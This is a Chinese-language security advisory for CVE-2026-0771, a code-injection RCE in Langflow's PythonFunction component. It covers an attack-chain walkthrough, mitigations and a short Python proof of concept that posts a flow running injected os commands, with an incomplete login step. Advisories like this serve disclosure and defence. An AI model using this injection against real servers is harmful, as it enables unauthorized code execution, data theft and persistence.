IPBUF安全漏洞报告
English
CVE-2026-0771 CVSS 7.1 高危

CVE-2026-0771 Langflow PythonFunction代码注入远程代码执行漏洞

披露日期: 2026-01-23

漏洞信息

漏洞编号
CVE-2026-0771
漏洞类型
远程代码执行
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Langflow

相关标签

远程代码执行代码注入Python注入LangflowZDI-CAN-27497高危漏洞工作流引擎AI平台

漏洞概述

CVE-2026-0771是Langflow中一个严重的远程代码执行漏洞,CVSS评分达到7.1(高危)。该漏洞存在于Langflow的PythonFunction组件中,攻击者可以通过在工作流中引入自定义Python代码来执行任意命令。Langflow是一个开源的LangChainUI框架,用于构建和实验AI工作流。该漏洞允许具有低权限的远程攻击者在特定产品配置下,通过用户交互触发漏洞,最终在应用程序上下文中执行任意代码。由于攻击复杂度较高(AC:H),需要用户交互(UI:R),但一旦利用成功,攻击者可以获得完整的系统控制权限,包括机密性、完整性和可用性方面的高影响。该漏洞由ZDI披露,编号为ZDI-CAN-27497。

技术细节

该漏洞的根本原因在于Langflow的PythonFunction组件对用户输入的Python代码缺乏充分的过滤和沙箱处理。攻击者可以利用Langflow的工作流编辑功能,在PythonFunction组件中注入恶意Python代码。典型的利用方式包括:1) 使用内置的os模块执行系统命令,如os.system()或subprocess模块;2) 利用eval()或exec()函数动态执行代码;3) 导入危险模块如socket、requests等进行进一步渗透。攻击者首先需要获得Langflow的低权限账户,然后创建或修改包含恶意Python代码的工作流。当工作流被执行时,注入的代码将在服务器端以应用程序权限运行。由于Langflow通常以较高权限运行,攻击者可能获得对底层系统的完全控制。漏洞的利用难度为高(AC:H),因为需要了解Langflow的具体配置和PythonFunction组件的使用方式。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者扫描互联网或内网中运行的Langflow实例,识别版本和配置信息
STEP 2
步骤2
初始访问:攻击者获取Langflow的低权限账户(PR:L),或利用系统配置缺陷获得访问权限
STEP 3
步骤3
工作流创建:攻击者登录Langflow平台,创建一个新的工作流或修改现有工作流
STEP 4
步骤4
代码注入:攻击者在PythonFunction组件中注入恶意Python代码,使用os.system()、subprocess或其他方法执行系统命令
STEP 5
步骤5
触发执行:通过用户交互(UI:R)或其他方式触发工作流执行,恶意代码在服务器端以应用程序权限运行
STEP 6
步骤6
权限提升与持久化:攻击者获得服务器完全控制权,可部署后门、窃取数据或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json import base64 # CVE-2026-0771 PoC - Langflow PythonFunction Code Injection # This PoC demonstrates the code injection vulnerability in Langflow's PythonFunction component TARGET_URL = "http://target:7860" # Malicious Python code to be injected # This example executes a simple command; modify as needed for your testing malicious_code = """ import os result = os.popen('whoami').read() print(result) """ def exploit_cve_2026_0771(): """ Exploit for CVE-2026-0771: Langflow PythonFunction Code Injection Steps: 1. Authenticate with Langflow (if authentication is enabled) 2. Create a new flow or use existing flow 3. Add a PythonFunction component 4. Inject malicious code into the component 5. Execute the flow to trigger RCE """ # Step 1: Login and get session session = requests.Session() login_data = { "username": "attacker", "password": "password" } # Step 2: Create flow with PythonFunction component flow_data = { "name": "malicious_flow", "components": [ { "type": "PythonFunction", "code": malicious_code, "inputs": {} } ] } # Step 3: Save and execute the flow response = session.post( f"{TARGET_URL}/api/v1/flows", json=flow_data ) if response.status_code == 200: flow_id = response.json().get("id") # Step 4: Execute the flow to trigger RCE exec_response = session.post( f"{TARGET_URL}/api/v1/flows/{flow_id}/run" ) print(f"Exploitation {'successful' if exec_response.status_code == 200 else 'failed'}") return exec_response.json() return None if __name__ == "__main__": print("CVE-2026-0771 PoC - Langflow PythonFunction Code Injection") print("Use this only for authorized security testing") # result = exploit_cve_2026_0771() # print(result)

影响范围

Langflow < 1.0.0(所有未修复版本)

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1) 禁用PythonFunction组件功能;2) 限制Langflow的网络访问,仅允许受信任的IP访问;3) 启用强身份认证机制;4) 监控异常的工作流执行行为;5) 考虑使用Web应用防火墙(WAF)过滤可疑请求;6) 对Langflow服务进行网络隔离,部署在DMZ区域;7) 定期备份系统数据以便快速恢复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表